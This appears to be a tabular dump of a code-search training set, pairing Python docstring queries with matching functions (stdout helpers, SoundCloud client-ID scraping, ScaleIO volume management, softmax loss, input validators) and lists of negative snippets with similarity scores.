query
stringlengths
9
3.4k
document
stringlengths
9
87.4k
metadata
dict
negatives
listlengths
4
101
negative_scores
listlengths
4
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Small helper for writing to stdout and flushing it, intended to make terminal output more compact and responsive.
def stdout(msg): sys.stdout.write(msg) sys.stdout.flush()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pflush(*args, **kwargs):\n print(*args, **kwargs)\n sys.stdout.flush()", "def write(msg, newline=True, flush=True):\n sys.stdout.write(msg)\n if newline:\n sys.stdout.write(\"\\n\")\n if flush:\n sys.stdout.flush()", "def print_flush(msg):\n print(msg, end='')\n sys.stdou...
[ "0.7578872", "0.7356564", "0.7139393", "0.7095517", "0.7022346", "0.67478865", "0.67162675", "0.6707451", "0.6658429", "0.66203755", "0.65573883", "0.6525697", "0.64456743", "0.64306766", "0.64306766", "0.6427846", "0.6423618", "0.6415727", "0.640634", "0.63921225", "0.632977...
0.74203354
1
Fetches the soundcloud.com main page, looks for the 'app' js file and tries to pull a client_id out of that. Returns None on failure or a string client_id on success.
def find_client_id(): stdout("Attempting to fetch a public soundcloud client ID:\n") stdout(" * Fetching main page... ") response = requests.get("http://www.soundcloud.com") stdout("HTTP %d, %d bytes\n" % (response.status_code, len(response.content))) stdout(" * Locating app.js... ") app_js_url...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_client():\n client = soundcloud.Client(client_id=CLIENT_ID)\n return client", "def client_app_id(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"client_app_id\")", "def check_soundcloud_id(id):\n c_url = ''\n\n try:\n page = sync.get_page(SOUNDCLOUD_BASE_URL +...
[ "0.58945185", "0.5666564", "0.54652476", "0.5451408", "0.539826", "0.5342123", "0.53111964", "0.5309336", "0.528899", "0.52842605", "0.5255024", "0.5202958", "0.5173291", "0.5158253", "0.5108697", "0.5082016", "0.50815004", "0.50447154", "0.50221217", "0.49919608", "0.4989508...
0.8254922
0
Produce the datapackage json for the eia923 archival collection.
def datapackager(dfiles): return core.annual_resource_datapackager(eia923_raw, dfiles)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def package_data(data_dict):\r\n return json.dumps(data_dict)", "def json_view(self, recursive=False):\n\n context = self.context.aq_inner\n data = self.export(context, recursive=recursive)\n pretty = json.dumps(data, sort_keys=True, indent=4)\n self.request.response.setHeader(\"Co...
[ "0.60987526", "0.59412324", "0.5864457", "0.58480114", "0.5828578", "0.5797426", "0.5603488", "0.55762243", "0.5566049", "0.55227274", "0.54963845", "0.5483035", "0.53632927", "0.5340077", "0.53361803", "0.5335918", "0.53321755", "0.5330479", "0.5284928", "0.5284693", "0.5278...
0.0
-1
Print a message to STDOUT. Python3 syntax.
def hello(): print('Hello world!')
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_message(message):\r\n return print(message)", "def say(msg):\n stream = sys.__stdout__\n stream.write(\"%s\\n\" % (msg))\n stream.flush()", "def print_msg(msg):\n if not PY3:\n print(utf8_encode(msg))\n else:\n print(msg)", "def printf(self, msg) :\n\t\tself.__stdout...
[ "0.7908927", "0.74415284", "0.74094445", "0.7343498", "0.7267072", "0.7217926", "0.7192187", "0.71607786", "0.71607786", "0.70894885", "0.70894885", "0.7069825", "0.70340735", "0.70340735", "0.69504505", "0.69428355", "0.6886016", "0.6828656", "0.6828409", "0.6806942", "0.672...
0.0
-1
For getting env.observation_space/action_space before making vehicles
def init_space(self, init_observation_space, init_action_space): assert isinstance(init_action_space, dict) assert isinstance(init_observation_space, dict) self._init_observation_spaces = init_observation_space self.observation_spaces = copy.copy(init_observation_space) self._in...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _setup_spaces(self):\n # Actions are the changes in weights of risky\n N = self.n_risky_assets\n self.action_space = gym.spaces.Box( low = -np.ones( (N,) ), \n high = +np.ones( (N,) ) )\n \n # Define the dimensions of the observatio...
[ "0.6855301", "0.6843117", "0.6696976", "0.6696976", "0.6604956", "0.65695596", "0.6564971", "0.6524574", "0.64859617", "0.6448507", "0.6443659", "0.6440802", "0.63611823", "0.63531643", "0.6300775", "0.6291112", "0.6291112", "0.6267599", "0.62554765", "0.6220913", "0.619602",...
0.5473476
74
Agent manager is really initialized after the BaseVehicle Instances are created
def init(self, pg_world, config_dict: Dict): self._pg_world = pg_world self._init_config_dict = config_dict init_vehicles = self._get_vehicles(config_dict=config_dict) vehicles_created = set(init_vehicles.keys()) vehicles_in_config = set(self._init_observations.keys()) as...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def agent_init(self):\n pass", "def __init__(self, agent: AEA) -> None:\n self._agent = agent\n super().__init__()", "def __init__(self, agent):\n self.agent = agent", "def init(self, parameters, agent_parameters):\n pass", "def _init_agents(self):\n self.agents = ...
[ "0.8166241", "0.71346295", "0.7125967", "0.7096617", "0.693758", "0.6893185", "0.68177164", "0.6755565", "0.6723478", "0.6670915", "0.66624707", "0.6627391", "0.65532345", "0.651527", "0.6504031", "0.6447585", "0.6432467", "0.642175", "0.6378185", "0.633566", "0.6335023", "...
0.60827535
49
Return metadata, a pointer, Caution !
def active_objects(self): return self._active_objects
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def metadata(self): # -> None:\n ...", "def GetMetadata(self):\n return self.dict['meta']", "def metadata(self): # -> list[Unknown]:\n ...", "def metadata(self): # -> list[Unknown]:\n ...", "def metadata(self) -> global___SummaryMetadata:", "def __metadata__(self):\n raise ...
[ "0.71479243", "0.69509375", "0.6799798", "0.6799798", "0.6333061", "0.632553", "0.624233", "0.62187463", "0.6190853", "0.61232", "0.61132336", "0.6093549", "0.6093549", "0.60883796", "0.6048741", "0.60452724", "0.60414684", "0.6024423", "0.6016487", "0.6002448", "0.6002448", ...
0.0
-1
This func is a function that take each vehicle as the first argument and arg and kwargs as others.
def for_each_active_agents(self, func, *args, **kwargs): assert len(self.active_agents) > 0, "Not enough vehicles exist!" ret = dict() for k, v in self.active_agents.items(): ret[k] = func(v, *args, **kwargs) return ret
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def kwargs(kwargs):\n run_kwargs(kwargs)", "def __init__(self, vehicles):\n self.vehicles = vehicles", "def func(self, name, vecs):\n raise NotImplementedError", "def all_(*args, **kwargs):\n ...", "def __init__(**params):", "def create_args(func):\n # Get a dictionary of the param...
[ "0.5770895", "0.57467127", "0.5465955", "0.5457893", "0.52988935", "0.5291341", "0.52157587", "0.5204885", "0.5181299", "0.5167117", "0.5123519", "0.5061671", "0.50296384", "0.499323", "0.4967545", "0.494888", "0.49463558", "0.49423978", "0.49001592", "0.48952258", "0.4893553...
0.5333793
4
Insert a value to a dict
def append_data(dic,key,value): if(dic.has_key(key)): dic[key].append(value) else: dic[key] = [value] return dic
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _insert_item(self, key: _KT, value: _VT) -> None:\n dict.__setitem__(self, key, value)", "def insert(self, key, value):\n\t\tself.__insert(key, value, key[1:])", "def insert(self, key, val):\n self.dict.setdefault(key, []).append(val)", "def _insert(self, key, value):\n entry = self....
[ "0.7889443", "0.7438961", "0.7351078", "0.73425454", "0.7270958", "0.71303296", "0.7054401", "0.7042578", "0.6953556", "0.6926434", "0.6914903", "0.6898594", "0.6897203", "0.6862176", "0.67558306", "0.6752674", "0.6729603", "0.66757095", "0.6637607", "0.66320163", "0.6611791"...
0.0
-1
get a standard strings
def getStrs(pre,num): result = [] for i in range(num): result.append(pre+str(i)) return result
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_strings(self):\n return self.strings", "def 取所有项目文本(self): # real signature unknown; restored from __doc__\n return self.GetStrings()", "def get_string2(self):\n pass", "def generate_strings():\n\n # used by error pages and in the sidebar for why to create a subverbify\n f...
[ "0.6904776", "0.6421582", "0.6202891", "0.6188094", "0.61658734", "0.61041105", "0.5986311", "0.5966541", "0.5962737", "0.57834953", "0.569311", "0.5672198", "0.56684166", "0.56371707", "0.5632561", "0.5621119", "0.56207395", "0.56207395", "0.55724066", "0.55328524", "0.55241...
0.0
-1
return a new series which the mean is 0 and variance is 1
def SeriesStandard(series): mean = np.mean(series) variance = np.var(series) series = (series-mean)/variance return series
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def var(self) -> \"Stream[float]\":\n return self.agg(lambda x: np.var(x, ddof=1)).astype(\"float\")", "def variance(self):\n return 1 / self.count() * sum((number-self.average())**2 for number in self.numbers)", "def mean(vals):", "def zero_mean_unit_variance(Data):\n Mean = numpy.mean(Data...
[ "0.6331923", "0.60499734", "0.5981126", "0.59652394", "0.5938104", "0.5921124", "0.58709556", "0.58616686", "0.58051085", "0.57974374", "0.579102", "0.57625544", "0.5762502", "0.5761699", "0.57592386", "0.57551837", "0.5746474", "0.57087433", "0.5698675", "0.56976444", "0.569...
0.64050394
0
Switch with mv_step, was inversed with mv_all.
def mv_all(self): # def mv_step(self): self.device_reg_data &= ~(0x1 << 2) bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def step(self, move):", "def step(self, state):", "def step_forward(self):", "def mv_step(self):\n # def mv_all(self):\n self.device_reg_data &= ~(0x1 << 3)\n bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)", "def step(self):\n while self.state ...
[ "0.66476375", "0.63288414", "0.6278404", "0.62282884", "0.6095554", "0.60457695", "0.598237", "0.59823036", "0.5955033", "0.5906166", "0.58990026", "0.58353496", "0.58104604", "0.5795093", "0.57891756", "0.5782465", "0.5781654", "0.5753441", "0.57457924", "0.5735288", "0.5732...
0.5742332
19
Switch with mv_all, was inversed with mv_step.
def mv_step(self): # def mv_all(self): self.device_reg_data &= ~(0x1 << 3) bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mv_all(self):\n # def mv_step(self):\n self.device_reg_data &= ~(0x1 << 2)\n bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)", "def step(self, move):", "def step(self, state):", "def step_forward(self):", "def step(self):\n while self.state ...
[ "0.61674994", "0.597512", "0.5870767", "0.58470446", "0.576566", "0.5624128", "0.560035", "0.5490663", "0.5485842", "0.54782003", "0.5429284", "0.53762597", "0.5370525", "0.53394765", "0.5291796", "0.52729493", "0.52668846", "0.5265301", "0.5239564", "0.5236908", "0.5234921",...
0.6441095
0
Softmax loss function, naive implementation (with loops) Inputs have dimension D, there are C classes, and we operate on minibatches of N examples.
def softmax_loss_naive(W, X, y, reg): # Initialize the loss and gradient to zero. loss = 0.0 dW = np.zeros_like(W) ############################################################################# # TODO: Compute the softmax loss and its gradient using explicit loops. # # Store the loss in loss...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def softmax_classifier(W, input, label, lamda):\n\n ############################################################################\n # TODO: Put your code here\n\n loss = 0.0\n num_train = input.shape[0]\n num_classes = W.shape[1]\n\n score = np.dot(input, W) # (N,C)\n prediction = np.argmax(sco...
[ "0.77309877", "0.76018506", "0.75810266", "0.7316347", "0.7265828", "0.72574335", "0.72335577", "0.72263277", "0.72206956", "0.7202858", "0.7188177", "0.71339023", "0.7121265", "0.70918167", "0.70168865", "0.6965965", "0.69413304", "0.6930929", "0.6925944", "0.69200414", "0.6...
0.73450357
3
Softmax loss function, vectorized version. Inputs and outputs are the same as softmax_loss_naive.
def softmax_loss_vectorized(W, X, y, reg): # Initialize the loss and gradient to zero. loss = 0.0 dW = np.zeros_like(W) ############################################################################# # TODO: Compute the softmax loss and its gradient using no explicit loops. # # Store the loss in...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def softmax_loss_naive(W, X, y, reg):\n # Initialize the loss and gradient to zero.\n loss = 0.0\n dW = np.zeros_like(W)\n num_train = X.shape[1]\n num_classes = W.shape[0]\n #############################################################################\n # Compute the softmax loss and its gradient usi...
[ "0.76837397", "0.75555336", "0.755513", "0.75321347", "0.7522562", "0.7514906", "0.7509924", "0.74732995", "0.747066", "0.74670047", "0.7465988", "0.7429649", "0.7429498", "0.74292433", "0.74264807", "0.74254495", "0.7410896", "0.7408939", "0.7406985", "0.738524", "0.7385114"...
0.71512604
77
Get the suffix applied to the target in order to specify the variation. May be empty.
def get_suffix(cls, raw_disable: RawDisable) -> str: variations = raw_disable.parent_test.variations maybe_variation_node = raw_disable.node.find(f'.//{cls.VARIATION_TAG}') if maybe_variation_node is None: return '' variation = maybe_variation_node.text if variation...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def suffix ( self ) :\n return self.__suffix", "def suffix ( self ) :\n return self.__suffix", "def suffix(self):\n return self[\"suffix\"]", "def suffix(self):\n return self[\"suffix\"]", "def get_suffix_ml_model():\n suffix = ''\n \n # consider if the model uses tail ...
[ "0.76173544", "0.76173544", "0.75478005", "0.75478005", "0.74529225", "0.7412734", "0.7412734", "0.7412734", "0.7360355", "0.7269723", "0.71980673", "0.7079693", "0.6851911", "0.68245083", "0.68245083", "0.6713023", "0.67029065", "0.6577348", "0.6507357", "0.64197314", "0.634...
0.74623406
4
return the specific pkt statistic (int) of the given address (str) and name of stat (str)
def get_stat(address, stat): base_url = 'https://pkt.cash/api/v1/PKT/pkt/address/' request_url = base_url + address addrStats = url_to_dict(request_url) return int(addrStats[stat])
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_stat(self, name: str) -> int:\n return self._mallctl(f\"stats.{name}\")", "def get_player_stats_name(self, player_name):\n status, data = self._get_player_game_stats(player_id=self._player_dict[player_name]['PlayerID'])\n return status, data.decode(\"utf-8\")", "def getShort(self, ...
[ "0.66505015", "0.5510597", "0.5497371", "0.5400981", "0.5397578", "0.538371", "0.52910346", "0.52851224", "0.5273926", "0.5184255", "0.51780534", "0.51542836", "0.51154304", "0.51121444", "0.51022923", "0.50941217", "0.50751036", "0.5028282", "0.5005922", "0.49972942", "0.498...
0.83788157
0
Initialize a new instance
def __init__(self, connection): self.conn = connection
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new(self):\n self._init()", "def __init__(self) -> None:\n # TODO: Provide the complete constructor for this object", "def init(self) -> None:", "def __init__ (self):\n pass", "def init(self) -> None:\n ...", "def init(self):\n pass", "def init(self):\n pas...
[ "0.83114046", "0.8195129", "0.80987674", "0.806979", "0.79853606", "0.79727024", "0.79727024", "0.79727024", "0.79727024", "0.79727024", "0.79727024", "0.79727024", "0.79727024", "0.79655635", "0.79099727", "0.79099727", "0.7843167", "0.78362906", "0.77924854", "0.77908206", ...
0.0
-1
Convenience method that round input to valid ScaleIO Volume size (8GB increments)
def is_valid_volsize(self,volsize): if type(volsize) is int: size_temp = divmod(volsize, 8192) if size_temp[1] > 0: # If not on 8GB boundary return int((1 + size_temp[0]) * 8192) # Always round to next 8GB increment else: return int(volsize)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ensure_size(value):\n return int(round(value * 1.0 / base)) * base", "def round_volume(volume, ndigits):\n return ul(round(volume.to('microliter').magnitude,ndigits))", "def convertFromBytes(size, unit):\n\tif (unit == 'kb'):\n\t\treturn size / 10000\n\telif (unit == 'mb'):\n\t\treturn size / 100...
[ "0.6768083", "0.6544661", "0.6347236", "0.6286869", "0.628502", "0.628502", "0.628502", "0.62824434", "0.6250458", "0.61724716", "0.6168352", "0.6118886", "0.6084759", "0.6077484", "0.60627866", "0.60627866", "0.6033113", "0.5994688", "0.5991111", "0.59894925", "0.59884065", ...
0.6986386
0
removeMode = 'ONLY_ME' | 'INCLUDING_DESCENDANTS' | 'DESCENDANTS_ONLY' | 'WHOLE_VTREE' Using kwargs it will be possible to tell delete_volume() to unmap all SDCs before delting. Not working yet
def delete_volume(self, volObj, removeMode='ONLY_ME', **kwargs): if kwargs: for key, value in kwargs.iteritems(): if key =='autoUnmap' and value ==True: # Find all mapped SDS to this volObj # Call unmap for all of them if se...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_export(self, context, volume):\n pass", "def delete(self):\n for lv in self.logical_volumes:\n self.delete_lv(lv_name=lv)\n\n super().delete()", "def test_aws_service_api_volume_delete(self):\n pass", "def snap_remove(packages, *flags):\n if type(packages)...
[ "0.59390444", "0.5883608", "0.5831495", "0.5830611", "0.5827789", "0.5799781", "0.57569474", "0.57451755", "0.572967", "0.5713216", "0.570987", "0.570987", "0.570987", "0.570987", "0.5687949", "0.56447387", "0.5636559", "0.56025016", "0.55944437", "0.55915767", "0.55571306", ...
0.681984
0
Map a Volume to SDC
def map_volume_to_sdc(self, volumeObj, sdcObj=None, allowMultipleMappings=False, **kwargs): self.conn.connection._check_login() if kwargs: for key, value in kwargs.iteritems(): if key == 'enableMapAllSdcs': if value == True: mapVolu...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def volume(name, map, ramp=\"rainbow2\"):\r\n return f'\\ncmd.volume(name=\"{name}\", map=\"{map}\", ramp=\"{ramp}\")\\n'", "def get_sdc_for_volume(self, volObj):\n sdcList = []\n if volObj.mapped_sdcs is not None:\n for sdc in volObj.mapped_sdcs:\n sdcList.append(s...
[ "0.5849363", "0.5811726", "0.5806506", "0.57972413", "0.5796684", "0.5689454", "0.5628386", "0.56206053", "0.55615246", "0.55156636", "0.5392802", "0.5390612", "0.53850436", "0.53647935", "0.53350264", "0.5270047", "0.5262349", "0.5217635", "0.5216912", "0.5213016", "0.519788...
0.5548261
9
Unmap a Volume from SDC or all SDCs
def unmap_volume_from_sdc(self, volObj, sdcObj=None, **kwargs): # TODO: # Check if object parameters are the correct ones, otherwise throw error # ADD logic for ALL SDC UNMAP # For all SDC unmapVolumeFromDict = {'allSdc':'True'} False can be used self.conn.connection._check_login...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unmap_volume(self, host_name, volume_name):\n cmd = \"svctask rmvdiskhostmap -host %s %s\" % \\\n (host_name, volume_name)\n self._svc_command(cmd)", "def unassign_volume(VolumeId=None):\n pass", "def _locked_unmap_volume(self, volume, connector=None):\n if connector or n...
[ "0.6727764", "0.6303564", "0.6065188", "0.5874768", "0.57126004", "0.5704889", "0.56942743", "0.5692672", "0.5674871", "0.5666412", "0.5649555", "0.556961", "0.5509032", "0.5424157", "0.54096633", "0.5311139", "0.53099716", "0.5302015", "0.52518153", "0.52365714", "0.5236453"...
0.6255063
2
Get ScaleIO Volume object by its ID
def get_volume_by_id(self, id): for vol in self.conn.volumes: if vol.id == id: return vol raise KeyError("Volume with ID " + id + " not found")
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_volume_from_id(item_id):\n return volumes[\"data\"][str(item_id)]", "def volume_get(context, volume_id):\n return _volume_get(context, volume_id)", "def find_volume(self, id: str) -> dto.Volume:\n raise errors.UnsupportedOperationError(\n \"Operation not supported for provider '...
[ "0.7770249", "0.76687425", "0.74675375", "0.7118734", "0.7027858", "0.6990481", "0.67697716", "0.6507782", "0.6490982", "0.6345176", "0.631454", "0.6314275", "0.616623", "0.6155505", "0.61281794", "0.61262006", "0.60813826", "0.6076707", "0.6064813", "0.60254", "0.5993264", ...
0.7940494
0
Get ScaleIO Volume object by its Name
def get_volume_by_name(self, name): for vol in self.conn.volumes: if vol.name == name: return vol raise KeyError("Volume with NAME " + name + " not found")
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_volume_from_name(item_name):\n item_id = get_id_from_name(item_name)\n return get_volume_from_id(item_id)", "def volume():\n vol = sonos.volume\n return vol", "def get_volume(self, volume):\n return self._get(_volume.Volume, volume)", "def get_volumeslice( volume_name, slice_name )...
[ "0.75305146", "0.69920236", "0.6730676", "0.6723948", "0.6496563", "0.643003", "0.6369791", "0.6362524", "0.62434006", "0.62258524", "0.6180109", "0.608432", "0.60701185", "0.6064235", "0.605456", "0.60444987", "0.6015984", "0.6015984", "0.59529024", "0.59277195", "0.59163225...
0.7781022
0
Resize a volume to new GB size, must be larger than original.
def resize_volume(self, volumeObj, sizeInGb, bsize=1000): current_vol = self.get_volume_by_id(volumeObj.id) if current_vol.size_kb > (sizeInGb * bsize * bsize): raise RuntimeError( "resize_volume() - New size needs to be bigger than: %d KBs" % current_vol.size_kb) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def resize_volume(self, size):\n curr_size = self.volume.size\n if size <= curr_size:\n raise exc.InvalidVolumeResize(\"The new volume size must be larger \"\n \"than the current volume size of '%s'.\" % curr_size)\n body = {\"volume\": {\"size\": size}}\n ...
[ "0.8108762", "0.7606896", "0.75862616", "0.71326935", "0.71167916", "0.7057182", "0.70315367", "0.6974793", "0.6852413", "0.6837072", "0.66573954", "0.6541799", "0.6422722", "0.640464", "0.6386023", "0.6318564", "0.6286077", "0.6279037", "0.62351257", "0.6234071", "0.6174763"...
0.7557575
3
Create snapshot for list of volumes
def create_snapshot(self, systemId, snapshotSpecificationObject): self.conn.connection._check_login() #try: response = self.conn.connection._do_post("{}/{}{}/{}".format(self.conn.connection._api_url, "instances/System::", systemId, 'action/snapshotVolumes'), json=snapshotSpecificationObject.__to...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_volume_from_snapshot(snapshots, objects_created,\n wait_for_available=120):\n if type(snapshots) is not list:\n snapshots = [snapshots]\n v = []\n for snapshot in snapshots:\n command = 'cinder create --snapshot-id %s --name %s' % \\\n ...
[ "0.77721155", "0.76999277", "0.72221637", "0.71959794", "0.71065766", "0.70046896", "0.6779263", "0.67026055", "0.669651", "0.66544616", "0.6640723", "0.6583766", "0.6566787", "0.65625787", "0.653977", "0.6500914", "0.64843386", "0.63991314", "0.63977987", "0.6371029", "0.635...
0.58998495
50
Get list of SDC mapped to a specific volume
def get_sdc_for_volume(self, volObj): sdcList = [] if volObj.mapped_sdcs is not None: for sdc in volObj.mapped_sdcs: sdcList.append(sdc) if len(sdcList) == 0: self.conn.logger.debug("No SDCs mapped to volume: %s-(%s)" % (volObj.name, volObj.id)) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_device_map():\n ret = []\n vlist = subprocess.check_output(['ceph-volume', 'lvm', 'list',\n '--format=json'])\n for osd_id, data in json.loads(vlist.decode('utf8')).items():\n osd_id = normalize_osd_id(osd_id)\n for elem in data:\n for d...
[ "0.6761455", "0.6402484", "0.6302538", "0.625908", "0.62256217", "0.6195324", "0.6118881", "0.59791917", "0.595759", "0.59439385", "0.59184736", "0.584555", "0.581235", "0.5800224", "0.5754875", "0.57339233", "0.5706948", "0.5706084", "0.56977904", "0.56800914", "0.5660114", ...
0.7416448
0
Verifies the input username is valid according to the regular expression.
def verify_username(username): name_reg_exp = re.compile(r"^[a-zA-Z0-9_-]{3,20}$") return username and name_reg_exp.match(username)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def username_is_valid(username: str) -> bool:\n pattern = re.compile(r'^[A-Za-z]+[A-Za-z0-9]*$')\n return pattern.match(username)", "def is_valid_username(self, username):\n rex = \"^[a-zA-Z]{3,}$\"\n return re.match(rex, username)", "def verify_username(entered_username):\n retu...
[ "0.8635296", "0.85105777", "0.84749115", "0.84299684", "0.8233236", "0.8211792", "0.82028437", "0.80628586", "0.80201393", "0.8015239", "0.80012465", "0.79015553", "0.7776255", "0.7739225", "0.7723503", "0.76907295", "0.7611532", "0.7544536", "0.74407434", "0.7410977", "0.739...
0.8407929
4
Verifies the input password is valid according to the regular expression.
def verify_password(password): password_reg_exp = re.compile(r"^.{3,20}$") return password and password_reg_exp.match(password)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def passwordValidate(form, field):\n\n pwd_regexp = compile(r'^.*(?=.{8,})(?=.*[a-zA-Z])(?=.*?[A-Z])(?=.*\\d)[a-zA-Z0-9!@£$%^&*()_+={}?:~\\[\\]]+$')\n\n if not fullmatch(pwd_regexp, field.data):\n raise ValidationError(message='Password must match the specific pattern')", "def validate_password(pass...
[ "0.8172635", "0.80864406", "0.79701066", "0.79516107", "0.79046965", "0.78755134", "0.7869727", "0.78578925", "0.76754445", "0.7663901", "0.7564994", "0.75507975", "0.7501534", "0.7475722", "0.74369824", "0.7372461", "0.73591304", "0.72783804", "0.7235953", "0.71788555", "0.7...
0.78625745
7
Verifies the input email is valid according to the regular expression.
def verify_email(email): email_reg_exp = re.compile(r"^[\S]+@[\S]+.[\S]+$") return not email or email_reg_exp.match(email)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_valid_email_address (email):\n return valid_email.search(email)", "def is_valid_email(email):\n if re.search(EMAIL_REGEX, email):\n return True\n else:\n return False", "def verify_email(entered_email):\n return EMAIL_RE.match(entered_email)", "def IsEmailValid(email):\n retur...
[ "0.80889827", "0.8087607", "0.80713046", "0.8045407", "0.80429095", "0.80131763", "0.80075526", "0.7930631", "0.78677934", "0.78501266", "0.77959234", "0.77756155", "0.77599037", "0.77363545", "0.77319115", "0.7678985", "0.7648117", "0.7619722", "0.76048994", "0.75700366", "0...
0.7671021
16
Verifies the password and verify password matches.
def verify_match(password, verify): return password == verify
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verify_password(self, password):\n return check_password_hash(self.password_hash, password)", "def test_password_verification(self):\n self.user.password = '123456'\n self.assertTrue(self.user.verify_password('123456'))\n self.assertFalse(self.user.verify_password('password'))", "de...
[ "0.8170263", "0.7866674", "0.7849448", "0.7771099", "0.7748505", "0.7726481", "0.77033484", "0.7687431", "0.7640428", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7579744", "0.7566419", "0.74769354", "0.74679476", "0.74629104",...
0.8035081
1
Creates a single profile object from the parameters passed in the row of a CSV file.
def _create_single_profile(self, cols, row, course, options): # TODO for students, match section to mentor, and generate attendances (maybe as an object hook?) fields = {} for i in range(len(row)): field = cols[i] fields[field] = row[i] if options["is_students"]: ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _people_object_from_csv_row(row, header, distinct_id_index=None):\n distinct_id_index = (header.index(\"$distinct_id\") if distinct_id_index is None else distinct_id_index)\n props = Mixpanel._properties_from_csv_row(row, header, ['$distinct_id'])\n profile = {'$distinct_id': row[distinct_...
[ "0.76779133", "0.65890783", "0.639254", "0.619044", "0.6139918", "0.6115916", "0.60763335", "0.59818596", "0.5974603", "0.59720904", "0.59462434", "0.59350395", "0.5890199", "0.5873265", "0.5838855", "0.5794", "0.579381", "0.57246304", "0.57138777", "0.5713262", "0.5710409", ...
0.65744126
2
Write a list of actions to an output file. You should use this method to write your output file.
def write_output_file(filename, actions): f = open(filename, 'w') for i in range(len(actions)): f.write(str(actions[i])) if i < len(actions) - 1: f.write(',') f.write('\n') f.close()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write_output_file(filename, actions, log):\n f = open(filename, 'w')\n\n for i in range(len(actions)):\n f.write(str(actions[i]))\n if i < len(actions) - 1:\n f.write(',')\n f.write('\\n')\n\n for k in log.keys():\n f.write(str(k) + ' = ' + str(log.get(k)))\n ...
[ "0.75944614", "0.6646596", "0.6495317", "0.6371908", "0.63211423", "0.6208425", "0.6172674", "0.6153451", "0.614929", "0.6011681", "0.59875023", "0.5968817", "0.5930006", "0.5916653", "0.59037054", "0.58848286", "0.58585936", "0.58439475", "0.5827667", "0.5805718", "0.5797045...
0.8163014
2
Fallback attribute getter. It enables to get access to the attribute and methods of the lowlevel Simulator directly, without having to do it through `simulator`.
def __getattr__(self, name: str) -> Any: return getattr(self.__getattribute__('simulator'), name)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __getattr__(self, attr): # or does it ?\n return self.X[attr]", "def __getattr__(self, name: str) -> Any:\n return self.__getattribute__(name)", "def __getattribute__(self, attr):\n if attr in ('make_rdm1s', 'spin_square', 'contract_2e',\n 'absorb_h1e...
[ "0.67445457", "0.6710345", "0.66448665", "0.66448665", "0.65809125", "0.6559927", "0.6550173", "0.65467125", "0.6515998", "0.64669317", "0.6441641", "0.6401199", "0.6396703", "0.6377469", "0.6359223", "0.63081247", "0.630343", "0.62833256", "0.62700075", "0.6269952", "0.62437...
0.6841757
0
Attribute lookup. It is mainly used by autocomplete feature of Ipython. It is overloaded to get consistent autocompletion wrt `getattr`.
def __dir__(self) -> Iterable[str]: return chain(super().__dir__(), dir(self.simulator))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
